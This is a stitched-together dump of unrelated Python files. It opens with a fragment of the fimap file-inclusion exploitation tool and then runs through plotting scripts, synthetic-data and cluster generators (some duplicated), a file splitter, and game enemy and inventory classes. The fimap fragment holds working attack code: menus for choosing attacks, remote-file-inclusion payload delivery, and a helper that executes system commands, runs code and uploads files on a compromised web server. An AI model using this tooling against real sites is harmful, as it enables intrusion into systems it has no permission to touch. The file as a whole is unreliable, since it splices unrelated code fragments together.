%s"%(idx,k)) choose[idx] = v idx = idx +1 else: header = ":: Available Attacks - %s Only ::" %(language) for payloadobj in langClass.getPayloads(): k = payloadobj.getName() v = payloadobj textarr.append("[%d] %s"%(idx,k)) choose[idx] = v idx = idx +1 pluginman = self.config["PLUGINMANAGER"] plugin_attacks = pluginman.requestPluginActions(langClass, syst, isUnix) for attacks in plugin_attacks: pluginName, attackmode = attacks label, callback = attackmode textarr.append("[%d] [%s] %s" %(idx, pluginName, label)) choose[idx] = callback idx += 1 textarr.append("[q] Quit") self.drawBox(header, textarr) while (1==1): tech = raw_input("Choose Attack: ") try: if (tech.strip() == "q"): sys.exit(0) tech = choose[int(tech)] return(tech) except Exception, err: print "Invalid attack. Press 'q' to break." def executeRFI(self, URL, postdata, appendix, content, header): content = self.payload_encode(content) if (appendix == "%00"): appendix = "" if settings["dynamic_rfi"]["mode"]=="ftp": up = self.FTPuploadFile(content, appendix) code = self.doPostRequest(URL, postdata, header) if up["dirstruct"]: self.FTPdeleteDirectory(up["ftp"]) else: self.FTPdeleteFile(up["ftp"]) return(code) elif settings["dynamic_rfi"]["mode"]=="local": up = self.putLocalPayload(content, appendix) code = self.doPostRequest(URL, postdata, additionalHeaders=header) self.deleteLocalPayload(up["local"]) return(code) def payload_encode(self, content): if (self.config["p_rfi_encode"] != None): if (self.config["p_rfi_encode"] == "php_b64"): content = "<?php echo base64_decode(\"%s\"); ?>"%(base64.b64encode(content)) self._log("Encoded content: %s" %(content), self.LOG_DEBUG) else: self._log("Invalid RFI encoder selected!", self.LOG_WARN); return(content) def chooseDomains(self, OnlyExploitable=True): choose = {} nodes = self.getDomainNodes() idx = 1 header = ":: List of Domains ::" textarr = [] doRemoteWarn = False missingCount = 0 for n in nodes: host = n.getAttribute("hostname") kernel = n.getAttribute("kernel") if (kernel == ""): kernel = None showit = False for child in self.getNodesOfDomain(host): mode = child.getAttribute("mode") if ("x" in mode): showit = True elif (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] not in ("ftp", "local")): doRemoteWarn = True elif (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] in ("ftp", "local")): showit = True if (showit or not OnlyExploitable): choose[idx] = n if (kernel != None): textarr.append("[%d] %s (%s)" %(idx, host, kernel)) else: textarr.append("[%d] %s" %(idx, host)) idx = idx +1 else: missingCount += 1 if (idx == 1): print "No exploitable domains found." if (missingCount > 0): print "There are some domains hidden tho because they can't be exploited by fimap without help." print "To show them start fimap with *uppercase* -X" sys.exit(0) if (missingCount > 0): textarr.append("[ ] And %d hosts with no valid attack vectors."%(missingCount)) textarr.append(" Type '?' to see what it means.") textarr.append("[q] Quit") self.drawBox(header, textarr) if (doRemoteWarn): print "WARNING: Some domains may be not listed here because dynamic_rfi is not configured! " # If the user has picked the domain already through a parameter # we just try to set it here and return its result. if (self.config["p_exploit_domain"] != None): wantedDomain = self.config["p_exploit_domain"] self._log("Trying to autoselect target with hostname '%s'..." %(wantedDomain), self.LOG_INFO) for n in nodes: if (n.getAttribute("hostname") == wantedDomain): return(n) print "The domain '%s' doesn't exist! Can't continue :(" %(wantedDomain) sys.exit(1) while(1==1): c = raw_input("Choose Domain: ") if (c == "q"): sys.exit(0) elif (c == "?"): print "------------------------------------------------------------------------------" print "Why are some domains not visible?" print "This can have two reasons." print "* Non executable files:" print " It's likly that fimap has found an inclusion bug and was able to read out" print " non executable files like '/etc/passwd' or 'c:\\boot.ini'." print " In cases like this it's not possible to automaticly attack the machine." print " However if you are able to upload a file on the webserver you have high" print " chances to spawn a shell." print "* Remote File Inclusion bugs:" print " If you have found RFI only bugs you have to enable Dynamic RFI in order to" print " exploit the bug with fimap. The RFI-Only domains will be hidden unless you" print " have configured and enabled Dynamic RFI." print " However you can always take a look at the ~/fimap_result.xml , get your info" print " and do it manually." print "------------------------------------------------------------------------------" else: try: c = int(c) ret = choose[c] return(ret) except: print "Invalid Domain ID." def chooseVuln(self, hostname): choose = {} nodes = self.getNodesOfDomain(hostname) doRemoteWarn = False idx = 1 header = ":: FI Bugs on '" + hostname + "' ::" textarr = [] hasAtLeastAReadable = False readableNode = None # If the user has picked the exploitmode already through a parameter # we just try to set it here and run the fallback selection. wantedID = None if (self.config["p_exploit_script_id"] != None): wantedID = self.config["p_exploit_script_id"] for n in nodes: path = n.getAttribute("path") file = n.getAttribute("file") param = n.getAttribute("param") mode = n.getAttribute("mode") ispost = int(n.getAttribute("ispost")) if (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] not in ("ftp", "local")): doRemoteWarn = True if (mode.find("x") != -1 or (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] in ("ftp", "local"))): if (wantedID != None and wantedID == idx): self._log("Autoselected vulnerability with ID %d."%wantedID, self.LOG_INFO) return(n) choose[idx] = n if (ispost == 0): textarr.append("[%d] URL: '%s' injecting file: '%s' using GET-param: '%s'" %(idx, path, file, param)) elif (ispost == 1): textarr.append("[%d] URL: '%s' injecting file: '%s' using POST-param: '%s'" %(idx, path, file, param)) elif (ispost == 2): textarr.append("[%d] URL: '%s' injecting file: '%s' using HEADER-param: '%s'" %(idx, path, file, param)) idx = idx +1 elif (mode.find("r") != -1): hasAtLeastAReadable = True readableNode = n if (idx == 1): if (doRemoteWarn): print "WARNING: Some bugs can not be used because dynamic_rfi is not configured!" if (hasAtLeastAReadable): return(n) else: print "This domain has no usable bugs." sys.exit(1) textarr.append("[q] Quit") self.drawBox(header, textarr) if (doRemoteWarn): print "WARNING: Some bugs are suppressed because dynamic_rfi is not configured!" while (1==1): c = raw_input("Choose vulnerable script: ") if (c == "q"): sys.exit(0) try: c = int(c) ret = choose[c] return(ret) except: print "Invalid script ID." class HaxHelper: def __init__(self, parent, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, working_shell): """ Initiator of HaxHelper. As plugin developer you should never use this. """ self.parent_codeinjector = parent self.url = url self.postdata = postdata self.mode = mode self.langClass = langClass self.suffix = suffix self.isunix = isUnix self.issys = sys_inject_works self.shell = working_shell self.generic_lang = self.parent_codeinjector.config["XML2CONFIG"] def executeSystemCommand(self, command): """ Execute a system command on the vulnerable system. Returns a String which contains it's result if all OK. False if we can't inject system commands. None if something went wrong. """ if (self.canExecuteSystemCommands()): cmd = self.shell.generatePayload(command) ret = self.parent_codeinjector._doHaxRequest(self.url, self.postdata, self.mode, cmd, self.langClass, self.suffix) if (ret != None): return(ret.strip()) else: return(None) return(False) def executeCode(self, code): """ Execute interpreted code on the vulnerable system and returns it's response (filtered). """ return(self.parent_codeinjector._doHaxRequest(self.url, self.postdata, self.mode, code, self.langClass, self.suffix).strip()) def isUnix(self): """ Returns True if the vulnerable machine is a unix box. """ return(self.isunix) def isWindows(self): """ Returns True if the vulnerable machine is a windows box. """ return(not self.isunix) def getLangName(self): """ Get the language name of the vulnerable script as String. """ return(self.langClass.getName().lower()) def canExecuteSystemCommands(self): """ Returns True if we are able to execute system commands. Otherwise False. """ return(self.issys) def concatCommands(self, commands): """ Give this command a array of system-commands and it will concat them for the vulnerable system. """ return(self.generic_lang.concatCommands(commands, self.isunix)) def getPWD(self): """ Returns the current directory on the remote server. """ return(self.executeSystemCommand(self.getPWDCommand())) def getPWDCommand(self): """ Returns a `pwd` command for the vulnerable server. """ return(self.generic_lang.getCurrentDirCode(self.isunix)) def getUsernameCommand(self): """ Returns a `whoami` command for the vulnerable server. """ return(self.generic_lang.getCurrentUserCode(self.isunix)) def getConcatSymbol(self): """ Returns the concat symbol which is correct for the server. """ return(self.generic_lang.getConcatSymbol(self.isunix)) def generateChangeDirectoryCommand(self, newdir): """ Generate system-code to change directory. """ return(self.generic_lang.generateChangeDirectoryCommand(newdir, self.isunix)) def getUNAMECommand(self): """ Get a system-command which tells us the kernel version. """ return(self.generic_lang.getKernelCode(self.isunix)) def uploadfile(self, lfile, rfile, chunksize=2048): ret = 0 f = open(lfile, "rb") while 1==1: data = None if (chunksize == -1): data = f.read() else: data = f.read(chunksize) if (data != ""): bdata = base64.b64encode(data) code = self.langClass.generateWriteFileCode(rfile, "a", bdata) html = self.executeCode(code) if (html == "FAILED"): break else: ret = ret + len(data) else: break f.close() return(ret) def getURL(self): return self.url def getHaxDataForCustomFile(self, file): return(self.parent_codeinjector.getPreparedComponents(file)) def doRequest(self, URL, POST=None, HEADERS=None): return(self.parent_codeinjector.doPostRequest(URL, POST, additionalHeaders=HEADERS)) def getRawHTTPRequest(self, customFile): path, post, header, payload = self.parent_codeinjector.getPreparedComponents(customFile) hasPost = post != None and post != "" host = urlparse.urlsplit(self.url)[1] ret = "" if (not hasPost): ret = "GET %s HTTP/1.1\r\n" %(path) else: ret = "POST %s HTTP/1.1\r\n" %(path) ret += "Host: %s\r\n" %(host) if header.has_key("Cookie"): ret += "Cookie: " for k,v in header["Cookie"]: ret += "%s: %s;" %(k,v) ret += "\r\n" if (hasPost): ret += "Content-Type: application/x-www-form-urlencoded\r\n" ret += "Content-Length: %d\r\n"%(len(post)) ret += "\r\n" ret += "%s\r\n" %(post) ret += "\r\n" return(ret) def drawBox(self, header, choises): self.parent_codeinjector.drawBox(header, choises)
Python
''' Created on Nov 17, 2011 @author: rupam ''' import sys import csv from pylab import * from mpl_toolkits.mplot3d import Axes3D def main(): x1steps = x2steps = 50.0 x1range = linspace(0, 6-6/x1steps, x1steps) x2range = linspace(0, 6-6/x2steps, x2steps) cr = csv.reader(open(sys.argv[1], 'rt'), delimiter=',', quotechar='|') data = [] i = 0 for row in cr: data.append(row) i+=1 i = 0 for lst in data: j = 0 for value in lst: if value!='': data[i][j] = float(value) else: data[i].remove('') j+=1 i+=1 y = array(data) fig = figure() ax = Axes3D(fig) x1,x2 = meshgrid(x1range,x2range) ax.plot_surface(x1, x2, y.T, cstride=1, rstride=1, cmap=cm.jet) ax.set_xlabel('$x_1$') ax.set_ylabel('$x_2$') ax.set_zlabel('$y$') #savefig("plot.pdf") if __name__ == '__main__': main() show()
Python
import random, math def gen_line(mean, std, n): for i in range(n): print random.gauss(mean, std) def gen_linear(a, b, std, n): for i in range(n): x = i y = (a * x + b) print random.gauss(y, std) # nao vai funcionar por que o kalman so consegue lidar com funcoes lineares def gen_sigmoid(std, n): start = -50.0 end = 50.0 step = (end - start) / float(n - 1) for i in range(n): x = start + i * step y = 1.0 / (1 + math.exp(-x)) print random.gauss(y, std) if __name__ == "__main__": gen_line(10, 50, 100) #gen_linear(0.79, 3.0, 0.01, 100) #gen_sigmoid(0.1, 100)
Python
import sys, random def generate_random_cluster_centroids(num_clusters, dimension): cluster_centroids = [] for i in range(num_clusters): cluster_centroids.append([]) for j in range(dimension): cluster_centroids[i].append(random.randint(-1000, 1000)) return cluster_centroids def generate_random_points(num_points, num_clusters, intersection_level, dimension): cluster_centroids = generate_random_cluster_centroids(num_clusters, dimension) num_points_per_cluster = num_points / num_clusters radius = 1000 * intersection_level + 1 sigma = radius / 2 for i in range(num_clusters): for j in range(num_points_per_cluster): for k in range(dimension): print random.gauss(0, sigma) + cluster_centroids[i][k], print "" if __name__ == "__main__": argv = sys.argv argc = len(argv) if (argc < 5): print "" print "Use python", argv[0], "<num points> <num clusters> <intersection-level:[0-1]> <dim>" print "" else: num_points = int(argv[1]) num_clusters = int(argv[2]) intersection_level = float(argv[3]) dimension = int (argv[4]) generate_random_points(num_points, num_clusters, intersection_level, dimension)
Python
import sys def write_groups(points_filename, index_points_map): keys = index_points_map.keys() for key in keys: fptr = open(points_filename + "." + key, "w") points_of_group = index_points_map[key] for line in points_of_group: fptr.write(line + "\n") fptr.close() def split_files(points_filename, index_filename): index_points_map = dict() points_fptr = open(points_filename, "r") index_fptr = open(index_filename, "r") line = points_fptr.readline().rstrip() index = index_fptr.readline().rstrip() while line != "": if (index_points_map.has_key(index) == False): index_points_map[index] = [line] else: index_points_map[index].append(line) line = points_fptr.readline().rstrip() index = index_fptr.readline().rstrip() points_fptr.close() index_fptr.close() write_groups(points_filename, index_points_map) if __name__ == "__main__": argv = sys.argv argc = len(argv) if (argc < 3): print "" print "Use python", argv[0], "<points> <index>" print "" else: points_filename = argv[1] index_filename = argv[2] split_files(points_filename, index_filename)
Python
import numpy, math def normalize(data): # find the bias to make all points positive shift = 999999.0 for i in range(len(data)): if data[i][1] < shift: shift = data[i][1] shift = abs(shift) # apply the bias for i in range(len(data)): data[i][1] = (data[i][1] + shift) # find the max y value max_value = -999999.9 for i in range(len(data)): if abs(data[i][1]) > max_value: max_value = data[i][1] # normalize the y points for i in range(len(data)): data[i][1] = data[i][1] / (2 * max_value) return data def generate_linear_data(num_examples): data = [] angle = 0.78 # 45 deg bias = 4.0 start = -0.5 end = 0.5 delta = (end - start) / float(num_examples - 1) # create the data points for i in range(num_examples): x = start + i * delta y = (angle * x + bias) + numpy.random.normal(0.0, 0.1) data.append([x, y]) return data def generate_senoidal_data(num_examples): data = [] start = -5 end = 5 delta = (end - start) / float(num_examples - 1) # create the data points for i in range(num_examples): x = start + i * delta y = math.sin(x) + numpy.random.normal(0.0, 0.1) data.append([x, y]) return data def generate_sigmoidal_data(num_examples): data = [] start = -5 end = 5 delta = (end - start) / float(num_examples - 1) # create the data points for i in range(num_examples): x = start + i * delta y = 1.0 / (1 + math.exp(-x)) data.append([x, y]) return data def generate_hard_data(num_examples): data = [] start = -10 end = 10 delta = (end - start) / float(num_examples - 1) # create the data points for i in range(num_examples): x = start + i * delta y = math.sin(5.0 * x) * x * 5.0 data.append([x, y]) return data def print_data(data): for i in range(len(data)): print data[i][0], data[i][1] + 0.2 if __name__ == "__main__": # data = generate_linear_data(20) # data = generate_senoidal_data(100) # data = generate_sigmoidal_data(10) data = generate_hard_data(1000) data = normalize(data) print_data(data)
Python
import sys, random def generate_random_cluster_centroids(num_clusters, dimension): cluster_centroids = [] for i in range(num_clusters): cluster_centroids.append([]) for j in range(dimension): cluster_centroids[i].append(random.randint(-1000, 1000)) return cluster_centroids def generate_random_points(num_points, num_clusters, intersection_level, dimension): cluster_centroids = generate_random_cluster_centroids(num_clusters, dimension) num_points_per_cluster = num_points / num_clusters radius = 1000 * intersection_level + 1 sigma = radius / 2 for i in range(num_clusters): for j in range(num_points_per_cluster): for k in range(dimension): print random.gauss(0, sigma) + cluster_centroids[i][k], print "" if __name__ == "__main__": argv = sys.argv argc = len(argv) if (argc < 5): print "" print "Use python", argv[0], "<num points> <num clusters> <intersection-level:[0-1]> <dim>" print "" else: num_points = int(argv[1]) num_clusters = int(argv[2]) intersection_level = float(argv[3]) dimension = int (argv[4]) generate_random_points(num_points, num_clusters, intersection_level, dimension)
Python
import sys def write_groups(points_filename, index_points_map): keys = index_points_map.keys() for key in keys: fptr = open(points_filename + "." + key, "w") points_of_group = index_points_map[key] for line in points_of_group: fptr.write(line + "\n") fptr.close() def split_files(points_filename, index_filename): index_points_map = dict() points_fptr = open(points_filename, "r") index_fptr = open(index_filename, "r") line = points_fptr.readline().rstrip() index = index_fptr.readline().rstrip() while line != "": if (index_points_map.has_key(index) == False): index_points_map[index] = [line] else: index_points_map[index].append(line) line = points_fptr.readline().rstrip() index = index_fptr.readline().rstrip() points_fptr.close() index_fptr.close() write_groups(points_filename, index_points_map) if __name__ == "__main__": argv = sys.argv argc = len(argv) if (argc < 3): print "" print "Use python", argv[0], "<points> <index>" print "" else: points_filename = argv[1] index_filename = argv[2] split_files(points_filename, index_filename)
Python
NORTH = 0 EAST = 1 SOUTH = 2 WEST = 3
Python
import ika import engine from const import * #### Generic enemy class ####################################################### class Enemy(object): def __init__(self, x, y, f): self.x = x self.y = y self.startx = x self.starty = y self.facing = f self.curframe = 0 self.time = 0 self.attacking = False self.dead = False self.dying = False self.hurt = False self.hp = 0 self.numframes = 15 #access as [player facing][entity facing] self.dirtable = [[0, 1, 2, 3], #player facing north [3, 0, 1, 2], #east [2, 3, 0, 1], #south [1, 2, 3, 0]] #west self.offtable = [(0,-1), (1, 0), (0, 1), (-1,0)] self.attacking = False self.walkanim = 1 def Update(self): pass def Hurt(self, dmg): if self.dead: return self.hp -= dmg if self.hp <= 0: self.hp = 0 if not self.dying: self.dying = True self.time = 0 else: if not self.attacking: self.hurt = True self.hurttime = 0 def Distance(self, x, y): return abs(self.startx-x) + abs(self.starty-y) def LoadMonsterFrames(f): sprites = [] for s in ['96', '64', '40']: sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_b1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_b2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_r1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_r2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_f1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_f2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_l1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_l2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_atk1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_atk2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_atk3.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_atk4.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_die1.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_die2.png")) sprites.append(ika.Image("Img/enemies/"+f+s+"/"+f+"_dead.png")) return sprites #### Specific enemy classes ############################################################################ class Vagimon(Enemy): sprites = LoadMonsterFrames("vagimon") def __init__(self, x, y, f): super(type(self), self).__init__(x, y, f) self.hp = 20 self.time = ika.Random(0, 100) self.hurttime = 0 def GetFrame(self, face, row): if self.dead: return Vagimon.sprites[14 + self.numframes*row] elif self.dying: return Vagimon.sprites[12 + self.numframes*row + self.time / 40] elif self.hurt: return Vagimon.sprites[12 + self.numframes*row] elif not self.attacking: return Vagimon.sprites[(self.dirtable[face][self.facing])*2 + (self.numframes*row)+self.walkanim] elif self.attacking: return Vagimon.sprites[8 + self.time/10 + self.numframes*row] def Move(self, d): offx, offy = self.offtable[d] if not engine.engine.GetObs(self.x+offx, self.y+offy) and self.Distance(self.x+offx, self.y+offy)<10: self.x += offx self.y += offy self.facing = d def Update(self): if self.dead: return self.time += 1 if self.attacking and self.time == 30: offx, offy = self.offtable[self.facing] if engine.engine.plrx == self.x + offx and engine.engine.plry == self.y + offy: engine.engine.Hurt(6) #make sure the player is still in front of the enemy before hurting him :P elif self.attacking and self.time >= 40: self.attacking = False self.time = 0 if self.hurt: self.hurttime += 1 if self.hurttime > 10: self.hurt = False self.hurttime = 0 if self.dying and self.time >= 80: self.dying = False self.dead = True self.time = 0 if self.time > 200: #time to move randmove = True self.time = 0 for d in range(4): offx, offy = self.offtable[d] for i in range(1, 4): if engine.engine.plrx == self.x + offx*i and engine.engine.plry == self.y + offy*i: randmove = False if i == 1: #player within range! self.attacking = True self.facing = d self.time = 0 engine.engine.sound.Play("vagimon_attack.wav", 1) else: self.Move(d) if randmove: #won't move any more than 4 squares from its start location self.Move(ika.Random(0, 4)) if self.time % 200 < 100: self.walkanim = 0 else: self.walkanim = 1 class Walker(Enemy): sprites = LoadMonsterFrames("walker") def __init__(self, x, y, f): super(type(self), self).__init__(x, y, f) self.hp = 32 self.time = ika.Random(0, 100) def GetFrame(self, face, row): if self.dead: return Walker.sprites[14 + self.numframes*row] elif self.dying: return Walker.sprites[12 + self.numframes*row + self.time / 40] elif self.hurt: return Walker.sprites[12 + self.numframes*row] if not self.attacking: return Walker.sprites[(self.dirtable[face][self.facing])*2+(self.numframes*row)+self.walkanim] elif self.attacking: return Walker.sprites[8 + self.time/10 + self.numframes*row] def Move(self, d): offx, offy = self.offtable[d] if not engine.engine.GetObs(self.x+offx, self.y+offy) and self.Distance(self.x+offx, self.y+offy) < 10: self.x += offx self.y += offy self.facing = d def Update(self): if self.dead: return self.time += 1 if self.attacking and self.time == 30: offx, offy = self.offtable[self.facing] if engine.engine.plrx == self.x + offx and engine.engine.plry == self.y + offy: engine.engine.Hurt(10) #make sure the player is still in front of the enemy before hurting him :P elif self.attacking and self.time >= 40: self.attacking = False self.time = 0 if self.hurt: self.hurttime += 1 if self.hurttime > 10: self.hurt = False self.hurttime = 0 if self.dying and self.time >= 80: self.dying = False self.dead = True self.time = 0 if self.time > 200: #time to move randmove = True self.time = 0 for d in range(4): offx, offy = self.offtable[d] for i in range(1, 4): if engine.engine.plrx == self.x + offx*i and engine.engine.plry == self.y + offy*i: randmove = False if i == 1: #player within range! self.attacking = True self.facing = d self.time = 0 engine.engine.sound.Play("vagimon_attack.wav", 1) else: self.Move(d) if randmove: self.Move(ika.Random(0, 4)) if self.time % 200 < 100: self.walkanim = 0 else: self.walkanim = 1
Python
import ika import engine #### Inventory System ############################################################################################ class Inventory(object): def __init__(self): #None = empty #DummyItem = filled box, points to the item object that fills it #Item object = obvious :P self.items = [None] * 32 self.left = 247 self.top = 6 #self.AddItem(1, 1, Shells()) #self.AddItem(0, 1, Shells()) #self.AddItem(2, 0, Pistol(16)) #self.AddItem(0, 2, Hypo(2)) #self.AddItem(3, 0, Shotgun(6) ) #self.AddItem(0, 5, Armor1()) #self.AddItem(2, 6, Clip(40)) #self.AddItem(2, 7, Clip(60)) #self.AddItem(3, 7, Clip()) self.block = ika.Image("Img/ui/block.png") self.grabbeditem = None def Draw(self): for i, item in enumerate(self.items): if item is not None: if isinstance(item, Item): #for w in range(item.w): # for h in range(item.h): #ika.Video.TintBlit(self.block, int(self.left+16*(i%4)+16*w), int(self.top+16*(i/4)+16*h), # ika.RGB(0,0,128,100)) #ika.Video.DrawRect(int(self.left+16*(i%4) - 1), int(self.top+16*(i/4) - 1), # int(self.left+16*(i%4)+16*item.w - 1), int(self.top+16*(i/4)+16*item.h - 1), #ika.RGB(0,0,255,128)) # engine.engine.color) item.Draw(int(self.left+16*(i%4)), int(self.top+16*(i/4))) def AddItem(self, x, y, item): #returns true if an item as grabbed as a result of this, false if not if x+item.w>4 or y+item.h>8: return None #out of bounds, bad! :P g_item=None grab = False itemlist = self.CheckItems(x, y, item.w, item.h) if len(itemlist) < 2: #only place the item if there is one or no items underneath it if len(itemlist) == 1: #only one item, grab it g_item=self.TakeItem(itemlist[0][0], itemlist[0][1]) if isinstance(g_item, Stackable) and type(g_item) == type(item) and item.countable == True: #stackable items! item.count += g_item.count g_item = None else: #normal item, so grab it instead of stacking it grab = True d = DummyItem(x,y) #dummy items that point to the real item (only used for items larger than 1x1) for h in range(item.h): for w in range(item.w): self.items[self.GetIndex(x+w,y+h)] = d self.items[self.GetIndex(x, y)] = item self.grabbeditem=g_item else: grab = None #too many items underneath return grab def CheckItems(self, x, y, w, h): itemList = [] for a in range(w): for b in range(h): i = self.items[self.GetIndex(x+a,y+b)] if isinstance(i, Item): itemList.append((x+a, y+b)) elif isinstance(i, DummyItem): if not (i.x, i.y) in itemList: itemList.append((i.x, i.y)) return itemList def TakeItem(self, x, y): #picks up an item from inventory and returns it item = self.items[self.GetIndex(x,y)] if isinstance(item, Item): self.RemoveItem(x,y, item.w, item.h) elif isinstance(item, DummyItem): d = self.items[self.GetIndex(item.x, item.y)] self.RemoveItem(item.x, item.y, d.w, d.h) item = d else: return None return item def DeleteItem(self, item): x, y = self.GetXY(self.items.index(item)) self.RemoveItem(x, y, item.w, item.h) def RemoveItem(self, x, y, w, h): for i in range(h): for j in range(w): self.items[self.GetIndex(x+j,y+i)] = None def GetIndex(self, x, y): #square coordinates return int((y*4)+x) def GetXY(self, index): return index%4, index/4 #### Public functions (The only ones the mouse system should access :P) ######################################## def UseItem(self, x, y): x -= self.left y -= self.top item = self.items[self.GetIndex(int(x/16),int(y/16))] if isinstance(item, Item): item.Use() if isinstance(item, Stackable) and item.count == 0: self.RemoveItem(int(x/16), int(y/16), item.w, item.h) def PlaceItem(self, x, y): x -= self.left y -= self.top if isinstance(self.AddItem(int(x/16), int(y/16), self.grabbeditem), Item): engine.engine.messages.AddMessage(self.grabbeditem.name) def GrabItem(self, x, y): #picks up an item from inventory and assigns it to be the item in your hand x -= self.left y -= self.top item = self.TakeItem(int(x/16), int(y/16)) if item is not None: self.grabbeditem = item engine.engine.messages.AddMessage(self.grabbeditem.name) #### Equipment System ############################################################################################## class Equip(object): def __init__(self): #self.righthand = Rifle(60) #self.lefthand = None #self.armor = Armor2() #self.belt = Belt2() self.righthand = None self.lefthand = None self.armor = Clothing() self.belt = None def Draw(self): if self.righthand: self.righthand.Draw(253, 178) if self.lefthand: self.lefthand.Draw(253, 210) if self.armor: self.armor.Draw(272, 178) if self.belt: self.belt.Draw(272, 210) def AddItem(self, item, slot): if engine.engine.attacking or engine.engine.reloading: return #BAD! :P g_item = None if slot == 0: #right hand if isinstance(item, Weapon): if item.h == 2: #only takes one slot, do as normal g_item = self.righthand self.righthand = item if g_item: engine.engine.messages.AddMessage(g_item.name) else: #two handed weapon if self.righthand and self.lefthand: return #both slots full if self.righthand: #only right hand full g_item = self.righthand engine.engine.messages.AddMessage(g_item.name) self.righthand = None self.righthand = item elif self.lefthand: #only left hand full g_item = self.lefthand engine.engine.messages.AddMessage(g_item.name) self.lefthand = None self.righthand = item else: #no hands full self.righthand = item else: return elif slot == 1: #left hand if item.w == 1 and item.h == 1: if self.righthand and self.righthand.h == 3: #two handed weapon already equipped g_item = self.righthand engine.engine.messages.AddMessage(g_item.name) self.righthand = None self.lefthand = item else: #just a simple place g_item = self.lefthand self.lefthand = item else: return elif slot == 2: #armor if isinstance(item, Armor): g_item = self.armor if g_item: engine.engine.messages.AddMessage(g_item.name) self.armor = item else: return elif slot == 3: #belt if isinstance(item, Belt): g_item = self.belt if g_item: engine.engine.messages.AddMessage(g_item.name) self.belt = item else: return engine.engine.inv.grabbeditem = g_item def TakeItem(self, slot): r = None if slot == 0: r = self.righthand self.righthand = None elif slot == 1: r = self.lefthand self.lefthand = None elif slot == 2: r = self.armor self.armor = None elif slot == 3: r = self.belt self.belt = None if r: engine.engine.messages.AddMessage(r.name) return r def UseItem(self, slot): item = None if slot == 0: item = self.righthand elif slot == 1: item = self.lefthand elif slot == 2: item = self.armor elif slot == 3: item = self.belt if isinstance(item, Item): item.Use() if isinstance(item, Stackable) and item.count == 0: self.TakeItem(slot) #### Generic Item Objects ########################################################################################### class Item(object): def __init__(self, img, w, h, name, count=1, countable=False): self.img = img self.w = w self.h = h self.count = count self.countable = countable self.name = name def Draw(self, x, y): ika.Video.Blit(self.img, x, y) if self.countable: if self.count > 0: engine.engine.itemfont.Print(x + 16*self.w - 6*len(str(self.count))+1, y + 16*self.h - 7, str(self.count)) else: engine.engine.itemfontgrey.Print(x + 16*self.w - 6, y + 16*self.h - 7, "0") def Use(self): #specific items must override this if they are to be used pass class DummyItem(object): def __init__(self, x, y): self.x = x self.y = y #### Specific Item Objects ######################################################################################### #Weapons class Weapon(Item): def __init__(self, img, w, h, name, count=1, countable=False): super(Weapon, self).__init__(img, w, h, name, count, countable) self.attack = 0 self.reloadtime = 0 class Pipe(Weapon): img = ika.Image("Img/items/pipe.png") def __init__(self, count=0): super(type(self), self).__init__(type(self).img, 1, 2, "Lead Pipe") self.attack = 4 self.reloadtime = 35 class Pistol(Weapon): img = ika.Image("Img/items/pistol.png") def __init__(self, count=0): super(type(self), self).__init__(type(self).img, 1, 2, "Pistol", count, True) self.attack = 3 self.reloadtime = 35 class Shotgun(Weapon): img = ika.Image("Img/items/shotgun.png") def __init__(self, count=0): super(type(self), self).__init__(type(self).img, 1, 3, "Shotgun", count, True) self.attack = 10 self.reloadtime = 70 class Rifle(Weapon): img = ika.Image("Img/items/rifle.png") def __init__(self, count=0): super(type(self), self).__init__(type(self).img, 1, 3, "Assault Rifle", count, True) self.attack = 2 self.reloadtime = 200 #Armor class Armor(Item): def __init__(self, img, w, h, name, count=1, countable=False): super(Armor, self).__init__(img, w, h, name, count, countable) class Clothing(Armor): img = ika.Image("Img/items/clothing1.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 2, "Clothes") self.defense = 1 class Armor1(Armor): img = ika.Image("Img/items/armor1.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 2, "Light Armor") self.defense = 2 class Armor2(Armor): img = ika.Image("Img/items/armor2.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 2, "Medium Armor") self.defense = 3 class Armor3(Armor): img = ika.Image("Img/items/armor3.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 2, "Heavy Armor") self.defense = 4 #Belts class Belt(Item): def __init__(self, img, w, h, name, count=1, countable=False): super(Belt, self).__init__(img, w, h, name, count, countable) class Belt1(Belt): img = ika.Image("Img/items/belt1.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 1, "Belt #1") self.defense = 2 class Belt2(Belt): img = ika.Image("Img/items/belt2.png") def __init__(self): super(type(self), self).__init__(type(self).img, 2, 1, "Belt #2") self.defense = 5 #General Items class Recorder(Item): img = ika.Image("Img/items/recorder.png") def __init__(self, lognumber): super(type(self), self).__init__(type(self).img, 1, 1, "Log Recorder") self.lognumber = lognumber self.used = False def Use(self): if not self.used: engine.engine.pda.ReadLog(self.lognumber) engine.engine.messages.AddMessage("Log Uploaded to PDA") engine.engine.sound.Play("beep1.wav") self.used = True #Stackable Items class Stackable(Item): def __init__(self, img, w, h, name, count=1, countable=True): super(Stackable, self).__init__(img, w, h, name, count, countable) class Clip(Stackable): img = ika.Image("Img/items/clip.png") def __init__(self, count=16): super(type(self), self).__init__(type(self).img, 1, 1, "Clip", count, True) def Use(self): pass #engine.engine.Reload(Clip) class Shells(Stackable): img = ika.Image("Img/items/shells.png") def __init__(self, count=12): super(type(self), self).__init__(type(self).img, 1, 1, "Shells", count, True) def Use(self): pass 